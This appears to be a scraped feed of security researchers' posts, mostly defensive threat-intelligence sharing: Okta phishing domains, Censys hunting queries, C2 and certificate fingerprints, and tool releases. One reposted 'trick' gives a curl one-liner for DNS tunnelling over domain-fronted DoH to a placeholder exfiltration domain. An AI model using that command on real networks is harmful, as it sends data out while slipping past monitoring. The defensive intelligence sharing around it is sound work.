Brett Fitzpatrick

security, stonks, games. Lead Security Engineer. Previously IronRadar. Developing proactive threat intelligence capabilities.

[Brett Fitzpatrick @_brettfitz]

Finally finished v0.3 of 📦pyMalleableProfileParser 🥳
- Complete overhaul of code base
- You can now validate Malleable Profiles (4.0+)

Upgrading is fairly easy:
pip3 install --upgrade pyMalleableProfileParser

Source: https://t.co/gvZuykMpjx

#CobaltStrike

[Brett Fitzpatrick @_brettfitz]

@steipete Do Okta + Microsoft Defender or Elastic Security. CrowdStrike agent + UX is terrible IMO.

[Olaf Hartong @olafhartong]

@Wietze talking about hit awesome LNK research at @NorthSec_io

Live here > https://t.co/FhAY0theFd

[Rami McCarthy @ramimacisabird]

Good morning 🇺🇸

I caught up on my beauty sleep, the team put out an excellent write up of the axios 🗑️🔥: https://t.co/ajdbHrEfBX

Dangling threads I'm monitoring:
- Reporte bug in the linux payload (@N3mes1s)
- DPRK attribution (@DefSecSentinel)
- Addt'l infra (@InvictusIR)

[Brett Fitzpatrick @_brettfitz]

Can’t wait to see this get abused for phishing and delivery 😭

[adam ludwin @adamludwin]

From Claude Code to the web in seconds.

No git push. No build step. 100% free.

Just say: publish to https://t.co/imLVKNiwwV

[Kostas @Kostastsale]

𝗝𝘂𝘀𝘁 𝗹𝗮𝘂𝗻𝗰𝗵𝗲𝗱 𝗮𝘄𝗲𝘀𝗼𝗺𝗲-𝗱𝗳𝗶𝗿-𝘀𝗸𝗶𝗹𝗹𝘀 𝘄𝗶𝘁𝗵 @fr0gger_ !

Designed to save time during investigations and everyday DFIR tasks

Thomas has built an excellent malware triage skill, and I’ve added a couple of timeline analysis skills to help you get started. Feel free to contribute and use these skills to save a ton of time, like we already do.

https://t.co/HbT67gyVbb

Learn about skills:
- https://t.co/Wj9yZwv80U
- https://t.co/PVqnvOPdNb

[Brett Fitzpatrick @_brettfitz]

Threat cluster is performing wide net phishing campaigns targeting Okta users for big game hunting. Instead of targeted phishing campaigns with company branded Okta phishing sites, the cluster is leveraging a generic Okta login page to simplify operations:

okta.login-enterprisesso[.]com
okta.login-request[.]com
sso-accountservices[.]com

[Brett Fitzpatrick @_brettfitz]

Tracking a phishkit that is leveraged by a cluster under "the comm":
(hash:"1aa9ba7cd3843882cfa388e92424c114524a3bcecd93eb7d4bd769a410589fc4" OR hash:"8fefa240ca7765401b4a08ab87fab4b2521c9339ef540a700fefbfc2e94850a3")
AND NOT page.domain:https://t.co/RQiv3LPRdb

[Brett Fitzpatrick @_brettfitz]

@censysio 80.78.25[.]153 --> okta-galaxydigital[.]com
80.78.25[.]147 --> gsrio-okta[.]com

[Brett Fitzpatrick @_brettfitz]

Likely #ScatteredSpider Cluster (G1015)
@censysio Query
(
services.banner_hashes="sha256:4e790c829f6352c5648575f97a399a98cbd5f7e324b82579e179604f134f184e" AND (services.tls.certificates.leaf_data.names: *okta-*.com OR services.tls.certificates.leaf_data.names: *-okta*.com)
)

[Brett Fitzpatrick @_brettfitz]

https://t.co/apQ9fEZ176
Censys Query
same_service(services.telnet.banner="xlogin:" and services.port: 7777) and https://t.co/whuszO3spc.vendor=`TP-LINK` and services.port: 11288

[Brett Fitzpatrick @_brettfitz]

Fingerprint via Censys:
services.banner_hashes="sha256:dfe5574717fa51535df774105f82349026aa9d1a846e4a6741cb664f0f5adb3a"

[Brett Fitzpatrick @_brettfitz]

There is an interesting http service located on
18.194.131[.]106:80

Shares the same characteristics of a C2 listener attributed to APT28 by @_CERT_UA. However, they typically drop SSH on a non-standard port.

Anyone else with insights drop a DM.

[Brett Fitzpatrick @_brettfitz]

📦 v0.2.0 aws-sso-manager released today

- Bug fixes
- Enhancements to CI workflow (gha)

https://t.co/pP8TF3rF7H

[Stuart @MagisterQuis]

Today’s trick:
DNS tunneling over Domain-Fronted DoH:

curl -svk --resolve *:443:8.8.8.8 'https://yahoo[.]com/resolve?name=exfil.kittens[.]com&type=a'

[Brett Fitzpatrick @_brettfitz]

If you’re running Splunk enterprise and don’t have it behind a corp VPN/SDP update ASAP!

(Still update regardless of course)

https://t.co/dprMpdJmdJ

[Brett Fitzpatrick @_brettfitz]

@censysio Also - this query is a wider net and just looking for the format (oid order). You can apply a much more rigid query using regex.

[Brett Fitzpatrick @_brettfitz]

How does one distinguish generated self-signed certificates for Sliver and Havoc? 👇

Havoc copied sliver's v1 cert generator but there is a key difference in the process. Sliver only fills in the subject DN whereas havoc fills in both the issuer and the subject with the same DN.

[Brett Fitzpatrick @_brettfitz]

One could filter for this in @censysio using the following query:

same_service(services.tls.certificates.leaf_data.subject_dn="C=*, ST=*, L=*, street=*, O=*, CN=*" and not services.tls.certificates.leaf_data.issuer: *)

Note: The wildcard will catch the possible postal code RDN.

[Brett Fitzpatrick @_brettfitz]

@crep1x @crep1x DM’d

[Brett Fitzpatrick @_brettfitz]

@CYBERWARCON @CYBERWARCON is anyone available to resolve this issue?? 😭

[Brett Fitzpatrick @_brettfitz]

@CYBERWARCON still waiting for my access link 😓

[Brett Fitzpatrick @_brettfitz]

@CYBERWARCON @CYBERWARCON check your DMs